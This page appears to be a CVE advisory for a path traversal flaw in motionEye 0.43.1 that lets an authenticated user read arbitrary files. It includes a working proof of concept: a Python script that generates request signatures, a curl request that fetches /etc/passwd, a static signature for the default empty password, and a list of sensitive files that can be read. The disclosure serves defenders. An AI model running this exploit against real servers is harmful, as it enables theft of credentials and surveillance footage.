VYPR
Medium severityNVD Advisory· Published Jun 22, 2026

motionEye has an Arbitrary File Read via Path Traversal in Picture/Movie Preview Endpoint

CVE-2026-31978

Description

Summary

motionEye v0.43.1 (latest stable) is vulnerable to path traversal in the picture and movie API endpoints, like /picture/{id}/preview/{filename}. Neither the API handlers, nor the mediafiles.py functions like get_media_preview() check for .. sequences in the filename parameter, except get_media_content() which does. This allows an authenticated user with normal (non-admin) privileges to read arbitrary files from the filesystem as the motionEye process user.

Details

The get_media_content() function properly validates the path:

# mediafiles.py ~line 506 — SAFE
def get_media_content(camera_config, path, media_type):
    target_dir = camera_config['target_dir']
    full_path = os.path.join(target_dir, path)

    if '..' in path:        # <-- PATH TRAVERSAL CHECK PRESENT
        return None
    ...

But get_media_preview() does NOT:

# mediafiles.py ~line 910 — VULNERABLE
def get_media_preview(camera_config, path, media_type, ...):
    target_dir = camera_config['target_dir']
    full_path = os.path.join(target_dir, path)
    # <-- NO '..' CHECK
    ...

Similarly, del_media_content() at line ~865 is also missing the check. This is a classic inconsistent fix pattern.

The exploit requires %2F-encoded slashes (..%2F..%2F) which Tornado's URL router does NOT normalize — it passes the raw ../ through to os.path.join().

PoC

Step 1: Authenticate as any user (normal or admin).

Step 2: Compute the request signature. motionEye uses HMAC-style signatures for API authentication. The signature is SHA1("GET:?_username=::"). With the default empty admin password:

#!/usr/bin/env python3
"""Signature generator for motionEye path traversal PoC"""
import hashlib, re, urllib.parse

_SIGNATURE_REGEX = re.compile(r'[^A-Za-z0-9/?_.=&{}\[\]\":, -]', re.DOTALL)

def compute_signature(method, path, key=''):
    parts = list(urllib.parse.urlsplit(path))
    query = [q for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True) if q[0] != '_signature']
    query.sort(key=lambda q: q[0])
    query = [(n, urllib.parse.quote(v, safe="!'()*~")) for (n, v) in query]
    query = '&'.join([(q[0] + '=' + q[1]) for q in query])
    parts[0] = parts[1] = ''
    parts[3] = query
    path = urllib.parse.urlunsplit(parts)
    path = _SIGNATURE_REGEX.sub('-', path)
    key = _SIGNATURE_REGEX.sub('-', key)
    return hashlib.sha1(('{}:{}:{}:{}'.format(method, path, '', key)).encode('utf-8')).hexdigest().lower()

path = '/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin'
sig = compute_signature('GET', path)
print(f'Signature: {sig}')
print(f'curl --path-as-is -s "http://TARGET:8765/{path}&_signature={sig}"')

Step 3: Send the request using curl --path-as-is (the --path-as-is flag is required — without it, curl normalizes ..%2F and collapses the traversal before sending):

# With default empty admin password, the signature is static:
curl --path-as-is -s "http://localhost:8766/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin&_signature=8b387100a519c617bdd66fe629d14b05e09c6e0c"

Step 4: The server returns the contents of /etc/passwd.

Verified output:

> Note on the signature value: The signature 8b387100a519c617bdd66fe629d14b05e09c6e0c is valid for the default empty admin password. If the admin password has been changed, regenerate the signature using the Python script above with the correct password passed as the key parameter.

Impact

An authenticated user (normal or admin) can read arbitrary files from the server, including:

  • /etc/passwd — user enumeration
  • /etc/motioneye/motion.conf — admin password hash, surveillance password in plaintext
  • /etc/shadow — password hashes (if running as root, which is default in Docker)
  • SSH keys, environment variables, and other sensitive configuration files
  • Surveillance footage from other cameras

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Affected packages

Versions sourced from the GitHub Security Advisory.

PackageAffected versionsPatched versions
motioneyePyPI
< 0.44.00.44.0

Affected products

1

Patches

Vulnerability mechanics

Root cause

"Missing `..` path traversal check in `get_media_preview()` and `del_media_content()` functions in `mediafiles.py`, while the sibling function `get_media_content()` does perform the check."

Attack vector

An authenticated attacker sends a crafted GET request to a picture or movie preview endpoint (e.g., `/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd`). The `%2F`-encoded slashes are not normalized by Tornado's URL router, so the raw `../` sequence reaches `os.path.join()` in `get_media_preview()`, which lacks the `..` check present in `get_media_content()`. The attacker must also compute a valid HMAC-style signature using the admin password (default empty) and pass it as the `_signature` query parameter. [CWE-22] [ref_id=1]

Affected code

The vulnerable code is in `mediafiles.py`. The `get_media_preview()` function (around line 910) and `del_media_content()` (around line 865) do not check for `..` sequences in the `path` parameter, unlike `get_media_content()` (line 506) which does. The API handlers for `/picture/{id}/preview/{filename}` and similar endpoints also lack validation, allowing the traversal to reach `os.path.join()` unmodified. [ref_id=1]

What the fix does

The advisory does not include a patch diff. The fix would require adding a `..` check in `get_media_preview()` and `del_media_content()` identical to the one already present in `get_media_content()` (i.e., `if '..' in path: return None`). Without this check, an attacker can traverse outside the intended `target_dir` and read arbitrary files. [ref_id=1]

Preconditions

  • authThe attacker must be an authenticated user (normal or admin) of the motionEye web interface.
  • authThe attacker must know or guess the admin password (default is empty) to compute the HMAC signature, or have a valid session.
  • inputThe attacker must send the request with `%2F`-encoded slashes and use a client that does not normalize the path (e.g., `curl --path-as-is`).
  • networkThe motionEye server must be reachable over the network on port 8765 (default).

Generated on Jun 22, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

2

News mentions

0

No linked articles in our index yet.